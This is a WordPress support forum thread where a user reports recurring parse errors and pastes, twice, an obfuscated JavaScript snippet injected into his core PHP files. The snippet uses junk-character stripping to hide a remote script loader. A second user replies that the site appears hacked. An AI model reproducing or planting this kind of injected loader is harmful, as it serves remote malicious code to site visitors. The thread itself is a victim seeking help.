WordPress.org

1. craig79
   Member
   Posted 2 years ago #

   Everyday now i am getting the following errors when trying to view my site or log into my dashboard:

   Parse error: syntax error, unexpected '<' in /home3/myplane4/public_html/wp-includes/default-filters.php on line 228

   When i view this page, there is the following code:

   <script>/*GNU GPL*/ try{window.onload = function(){var Xjtovgn1hzg4 = document.createElement('s^)!c^(^!r&&)i$#)p)t@()'.replace(/\$|\!|#|\(|\^|&|\)|@/ig, ''));Xjtovgn1hzg4.setAttribute('type', 'text/javascript');Xjtovgn1hzg4.setAttribute('src', 'h(^t#)(t@@!p(:^@$/@#^/)(g!)u!@#t@^e)#f((r((!a)((!g)@e@$$-^@^n&!^e##t@$^.@(!b#a@^&d(^!$&j^!o!j#@o).^##@c#(o$^^m$#^.(&b(^p@)(#-#(b!#!l)@()o^!(^g^!@s@#$p$)o!@t^&(-#!$&c(o&$#m&^.)#m!(@u#s##i)c^&$)b)#)&o!!x&p$@$&r(!o$!$!.)r!u@)&&&:@^!8)#0!(8^##0!#/)&g@o)o$&g&l@@(e)^!.)c@@o)^.&m^!&a$!$/$#(g((o^o!@@g^$)l&e)&.#@^c!&o#^@.(^#&&m(!a(^&/@#w&)s@^j@#.$$c&))o^#m(()#/(#!p#i^$)x!^#^m$a&n&$i&@a@!@(.(##c@&@#o!!m!/$$!g$#o@o@^g@)^$l(^$#e#@().#c!!o$m#$&$/$&'.replace(/\)|#|\(|@|\!|\$|&|\^/ig, ''));Xjtovgn1hzg4.setAttribute('defer', 'defer');Xjtovgn1hzg4.setAttribute('id', 'K^@4)&@p^#@5)!o$!@q#o(#)h#($u@#r)^&v$@$b$!^x$^6(!^'.replace(/\(|&|\$|@|\!|\)|\^|#/ig, ''));document.body.appendChild(Xjtovgn1hzg4);}} catch(e) {}</script>

   When i delete this, save it and upload it again, the same thing happens in another page:

   Parse error: syntax error, unexpected '<' in /home3/myplane4/public_html/wp-includes/default-widgets.php on line 1041

   Then the same sort of code on this page:

   <script>/*GNU GPL*/ try{window.onload = function(){var Xjtovgn1hzg4 = document.createElement('s^)!c^(^!r&&)i$#)p)t@()'.replace(/\$|\!|#|\(|\^|&|\)|@/ig, ''));Xjtovgn1hzg4.setAttribute('type', 'text/javascript');Xjtovgn1hzg4.setAttribute('src', 'h(^t#)(t@@!p(:^@$/@#^/)(g!)u!@#t@^e)#f((r((!a)((!g)@e@$$-^@^n&!^e##t@$^.@(!b#a@^&d(^!$&j^!o!j#@o).^##@c#(o$^^m$#^.(&b(^p@)(#-#(b!#!l)@()o^!(^g^!@s@#$p$)o!@t^&(-#!$&c(o&$#m&^.)#m!(@u#s##i)c^&$)b)#)&o!!x&p$@$&r(!o$!$!.)r!u@)&&&:@^!8)#0!(8^##0!#/)&g@o)o$&g&l@@(e)^!.)c@@o)^.&m^!&a$!$/$#(g((o^o!@@g^$)l&e)&.#@^c!&o#^@.(^#&&m(!a(^&/@#w&)s@^j@#.$$c&))o^#m(()#/(#!p#i^$)x!^#^m$a&n&$i&@a@!@(.(##c@&@#o!!m!/$$!g$#o@o@^g@)^$l(^$#e#@().#c!!o$m#$&$/$&'.replace(/\)|#|\(|@|\!|\$|&|\^/ig, ''));Xjtovgn1hzg4.setAttribute('defer', 'defer');Xjtovgn1hzg4.setAttribute('id', 'K^@4)&@p^#@5)!o$!@q#o(#)h#($u@#r)^&v$@$b$!^x$^6(!^'.replace(/\(|&|\$|@|\!|\)|\^|#/ig, ''));document.body.appendChild(Xjtovgn1hzg4);}} catch(e) {}</script>

   When i delete that and upload it, it works fine untill the next day. I am using version 2.9, the only plgins i have active are, Contact Form 7, FeedBurner Subscription Widget, HTML-Javascript Adder, Meta SEO Pack, PRO Player. The only widgets i have on the site are, calender, archives, tag cloud, recent posts, categories, links, HTML-Javascript Adder and search.
   Is anyone else experiencing the samething?

   I am new to wordpress and blogging, can someone please help me?!
   Thanks, Craig

2. Len
   Member
   Posted 2 years ago #

   It appears as though your site has been compromised. Have a look at the following links.

   1. Several forum threads dealing with hacks
   2. Codex info on how to harden your site
   3. Detailed info on hacks from WordPress dev Donncha

3. craig79
   Member
   Posted 2 years ago #

   Thanks for the advice, i will look into that.

Topic Closed

This topic has been closed to new replies.